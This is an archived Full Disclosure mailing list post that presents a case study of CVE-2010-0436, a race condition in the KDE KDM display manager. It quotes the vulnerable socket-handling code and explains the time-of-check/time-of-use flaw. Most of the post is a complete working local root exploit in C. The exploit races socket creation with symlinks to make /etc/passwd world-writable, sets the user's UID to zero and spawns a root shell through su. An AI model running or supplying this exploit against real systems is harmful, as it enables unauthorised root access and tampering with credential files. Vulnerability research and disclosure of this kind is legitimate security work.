Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Case Study: CVE-2010-0436 KDE TOCTTOU vulnerability
From: x90c <geinblues () gmail com>
Date: Sun, 3 Nov 2013 10:16:38 +0900

CVE vulnerability Case Study: CVE-2010-0436 KDE TOCTTOU vulnerability

                                    ___    ___
                                   / _ \  / _ \
                            __  __| (_) || | | |  ___
                            \ \/ / \__. || | | | / __|
                             >  <    / / | |_| || (__
                            /_/\_\  /_/   \___/  \___|


[toc]

----[ 1 - Abstract

----[ 2 - Vulnerbility Details

----[ 3 - Exploit code
 ----[ 4 - Conclusion

        ----[ 5 - References

        ----[ 6 - Greets


----[ 1 - Abstract

It's the case study of the cve-2010-0436 KDE TOCTTOU discovered by stealth.
I explains the cve-2010-0436 vulnerability and the details finally, exploit
code.

The cve-2010-0436 has a vulnerability to lead to local privilege escalation
It ocurred at the openCtrl function in the kdebase-workspace-4.1.4/kdm/back
end/ctrl.c, the display manager daemon.

A little TOCTTOU cve cases are reported, in apache, bzip2, gzip, ...
openldap, openssl, kerberos, openoffice, cups, samba, xinetd, perl, KDE.
(Table 1: Reported TOCTTOU Vulnerabilities [1]) and the cwe observed example
of the TOCTTOU vulnerabilities are CVE-2003-0813 rpc dcom CVE-2004-0594 php
CVE-2008-2958/CVE -2008-1570 checkinstall,  [2].


----[ 2 - Vulnerability Details


/var/run/xdmctl/dmctl-$DISPLAY/socket


---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ----
snip ---- snip ---- snip ---- snip ----

...

/*
 * xdm - display manager daemon
 * Author: Keith Packard, MIT X Consortium
 *
 * display manager
 */

...

void
openCtrl( struct display *d )  /* vulnerable function */
{
  CtrlRec *cr;
  const char *dname;
  char *sockdir;
  struct sockaddr_un sa;

  if (!*fifoDir)
    return;
  if (d) {
    cr = &d->ctrl, dname = d->name;
    if (!memcmp( dname, "localhost:", 10 ))
      dname += 9;
  } else
    cr = &ctrl, dname = 0;
    if (cr->fd < 0) {
      if (mkdir( fifoDir, 0755 )) {
        if (errno != EEXIST) {
  logError( "mkdir %\"s failed; no control FiFos will be available\n",
             fifoDir );
  return;
}
      } else
        chmod( fifoDir, 0755 ); /* override umask */

sockdir = 0;
strApp( &sockdir, fifoDir, dname ? "/dmctl-" : "/dmctl",
        dname, (char *)0 );

/* socket directory exists? */
if (sockdir) {
  strApp( &cr->path, sockdir, "/socket", (char *)0 ); /* get a string of
cr->path '/socket'

 attached. */

  if (cr->path) {
    if (strlen( cr->path ) >= sizeof(sa.sun_path))
      logError( "path %\"s too long; no control sockets will be
available\n",
         cr->path );
    else if (mkdir( sockdir, 0755 ) && errno != EEXIST) // directory create
failed?
      logError( "mkdir %\"s failed; no control sockets will be available\n",
         sockdir );

    else { /* XXX: directory created?. ( /socket dir permmision 755 ) */
      if (!d)
        chown( sockdir, -1, fifoGroup );

/* XXX: change sockdir directory permission to 750. */
chmod( sockdir, 0750 );

if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0) // create socket.
  logError( "Cannot create control socket\n" );
else { // socket created?

           unlink( cr->path ); // (1) unlink cr->path. (socket file)

  sa.sun_family = AF_UNIX;
  strcpy( sa.sun_path, cr->path );

  if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) {
    if (!listen( cr->fd, 5 )) { // (2) listen.

    /* (3) XXX: vulnerable point - set permission 666 after cr->path
                           created newly. */
      chmod( cr->path, 0666 );

      registerCloseOnFork( cr->fd );
      registerInput( cr->fd );
      free( sockdir );
      return;

...


---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ----
snip ---- snip ---- snip ---- snip ----


(1) unlink /var/run/xdmctl/dmctl-$DISPLAY/socket file and (2) bind and
listen get an new socket and the socket file and (3) chmod 666 the socket
file. After unlink the socket file ln -s /etc/shadow /var/run/xdmctl/dmctl
-$DISPLAY/socket and (2) failed and chmod 666 the socket file to lead to
chmod /etc/shadow 666. TOCTTOU!

A process do symlink and another process open the display continualy, can
get the read/writable /etc/shadow file. The open the display via the AF_UNIX
socket.


----[ 3 - Exploit Code


See the exploit process via stealth's exploit code:

[bambule-digitale.c]
----
/* bambule-digitale.c aka krm.c - KDE Root Manager
 *
 * KDE3/4 KDM local root exploit (C) 2010
 * Successfully tested on openSUSE 11.2 with intel Core2 x64
 * a 1.6Ghz. But this is not Linux specific!
 *
 * Bug is a silly race. KDM opens control socket in
 * /var/run/xdmctl/dmctl-$DISPLAY/socket. It looks safe
 * since the dir containing the socket is chowned to user [2]
 * after the bind()/chmod() [1] has been done. However, rmdir() [3]
 * retval is not checked and therefore upon restart mkdir()
 * for a root owned socket dir fails. Thus still owned by
 * user who can then play symlink tricks:
 *
 * kdm/backend/ctrl.c:
 *
 * ...
 *       if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0)
 *              LogError( "Cannot create control socket\n" );
 *       else {
 *              unlink( cr->path );
 *              sa.sun_family = AF_UNIX;
 *              strcpy( sa.sun_path, cr->path );
 *              if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) {
 *                      if (!listen( cr->fd, 5 )) {
 * [1]                          chmod( cr->path, 0666 );
 *                              RegisterCloseOnFork( cr->fd );
 *                              RegisterInput( cr->fd );
 *                              free( sockdir );
 *                              return;
 *                      }
 *                      unlink( cr->path );
 *                      LogError( "Cannot listen on control socket %\"s\n",
 *                                cr->path );
 * ...
 *
 *
 * void
 * chownCtrl( CtrlRec *cr, int uid )
 * {
 *       if (cr->path) {
 *               char *ptr = strrchr( cr->path, '/' );
 *               *ptr = 0;
 * [2]           chown( cr->path, uid, -1 );
 *               *ptr = '/';
 *       }
 * }
 *
 *
 * void
 * closeCtrl( struct display *d )
 * {
 *       CtrlRec *cr = d ? &d->ctrl : &ctrl;
 *
 *       if (cr->fd >= 0) {
 *               UnregisterInput( cr->fd );
 *               CloseNClearCloseOnFork( cr->fd );
 *               cr->fd = -1;
 *               unlink( cr->path );
 *               *strrchr( cr->path, '/' ) = 0;
 * [3]           rmdir( cr->path );
 *               free( cr->path );
 *               cr->path = 0;
 *               while (cr->css) {
 *                       struct cmdsock *cs = cr->css;
 *                       cr->css = cs->next;
 *                       nukeSock( cs );
 *               }
 *       }
 * }
 *
 * We make [3] fail by creating an entry in socketdir when it was
 * chowned to us. Creating an inotify for socket creations which
 * is delivered to us before chmod at [1]. Even if its very small
 * race we have good chances to win on fast machines with more
 * than one CPU node, e.g. common setup today.
 *
 * Log into KDM session, switch to console and login as same user.
 * Start program and follow instructions.
 *
 * No greets to anyone; you all suck badly :D
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/inotify.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <signal.h>
#include <sys/select.h>
#include <sys/syscall.h>
#include <sched.h>
#include <time.h>


void die(const char *msg)
{
perror(msg);
exit(errno);
}


void give_me_r00t()
{
int fd;
char buf[128], c;
char *pwd = NULL, *ptr = NULL;
struct stat st;
off_t off = 0;

if ((fd = open("/etc/passwd", O_RDWR)) < 0)
die("[-] open");
fstat(fd, &st);
if ((pwd = malloc(st.st_size)) == NULL)
die("[-] malloc");
if (read(fd, pwd, st.st_size) != st.st_size)
die("[-] read");
snprintf(buf, sizeof(buf), "%s:x:", getenv("USER"));
ptr = strstr(pwd, buf);
if (!ptr) {
printf("[-] Wrong /etc/passwd format\n");
close(fd);
return;
}
off = lseek(fd, ptr - pwd + strlen(buf), SEEK_SET);
free(pwd);
for (;;) {
pread(fd, &c, 1, off);
if (c == ':')
break;
write(fd, "0", 1);
++off;
}
close(fd);
sync();
}


int main()
{
char buf[128];
int ifd = 0;
struct stat st;
struct sockaddr_un sun;
int sfd;
const char *sock_dir = "/var/run/xdmctl/dmctl-:0";
char *su[] = {"/bin/su", getenv("USER"), NULL};

srand(time(NULL));

chdir(sock_dir); /* (1) chdir sock_dir. */

memset(&sun, 0, sizeof(sun));
sun.sun_family = AF_UNIX;
strcpy(sun.sun_path, "socket2");

mkdir("hold me", 0);
signal(SIGPIPE, SIG_IGN);

symlink("/etc/passwd", "passwd"); // (2) ln -s /etc/passwd ./passwd

printf("--==[ KDM3/4 local root PoC successfully tested on dual-core
]==--\n");
printf("[+] Setup done. switch to KDM session and press Ctrl-Alt-Backspace
(logout)\n");
printf("[+] KDM screen will start to flicker (one restart per 2
seconds)\n");
printf("[+] Be patient, this can take some minutes! If it takes more
than\n");
printf("[+] 5mins or so it runs on the wrong CPU node; try again.\n");
printf("[+] If KDM screen stands still again, switch back to console.\n");

for (;;) { // (3) race!

/* (2) open the display via PF_UNIX socket. */
if ((sfd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0)
die("[-] socket");
if ((ifd = inotify_init()) < 0)
die("[-] inotify_init");
if (inotify_add_watch(ifd, sock_dir, IN_CREATE) < 0)
die("[-] inotify_add_watch");

/* (4) unlink socket2 */
unlink("socket2");

/* blocks until race */
syscall(SYS_read, ifd, buf, 1);

/* be very fast, thus syscall() instead of glibc functions */
syscall(SYS_rename, "socket", "socket2"); /* (5) rename socket socket2 */
syscall(SYS_symlink, "passwd", "socket"); /* (6) ln -s passwd socket */
close(ifd);

if (stat("/etc/passwd", &st) < 0)
die("[-] stat");
if ((st.st_mode & 0666) == 0666)
break;
sleep(2);
usleep(100 + (int)(50.0*rand()/(RAND_MAX+1.0)));

/* (7) AF_UNIX socket to open the display (to create the socket file) */
if (connect(sfd, (struct sockaddr *)&sun, sizeof(sun)) < 0)
break;
write(sfd, "suicide\n", 8);
close(sfd);
}

/* (8) exploited? */
if (stat("/etc/passwd", &st) < 0)
die("[-] stat");
if ((st.st_mode & 0666) != 0666) {
printf("[-] Exploit failed.\n");
return 1;
}

printf("[+] yummy! /etc/passwd world writable!\n");
give_me_r00t();
printf("[+] Type your user password now. If there is no rootshell, nscd is
playing tricks.
                'su %s' then.\n", getenv("USER"));
execve(*su, su, NULL);
return 0;
}
----

The exploit comment explains also the related chownCtrl, closeCtrl.
First chdir to the socket directory and symlink /etc/passwd ./socket and
the next race! (4) unlink the socket2 and (5) rename socket to socket2
(6) symlink passwd (symlink'd) to ./socket and (7) AF_UNIX socket connect!

A process symlink /etc/passwd to /var/run/xdmctl/dmctl-:0/socket and the
another process open the display continualy and privilege escalation!


----[ 4 - Conclusion

If to find an TOCTTOU vulnerability, can audit the unlink/create/chmod
codes. If the code flow thaa unlink to chmod no permission checks and
can get the vulnerability.

I explained the KDM TOCTTOU vulnerability via summary, references and
the explanation of the process of the exploit.


----[ 5 - References

[1] TOCTTOU Vulnerabilities in UNIX-Style File Systems: An Anatomical Study
    https://www.usenix.org/legacy/event/fast05/tech/full_papers/wei/wei.pdf

[2] CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
    http://cwe.mitre.org/data/definitions/367.html


----[ 5 - Greets

my stuffs are more favorite than rebel's stuffs.


EOF

Attachment: case_study_CVE-2010-0436_KDE.txt
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • Case Study: CVE-2010-0436 KDE TOCTTOU vulnerability x90c (Nov 03)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault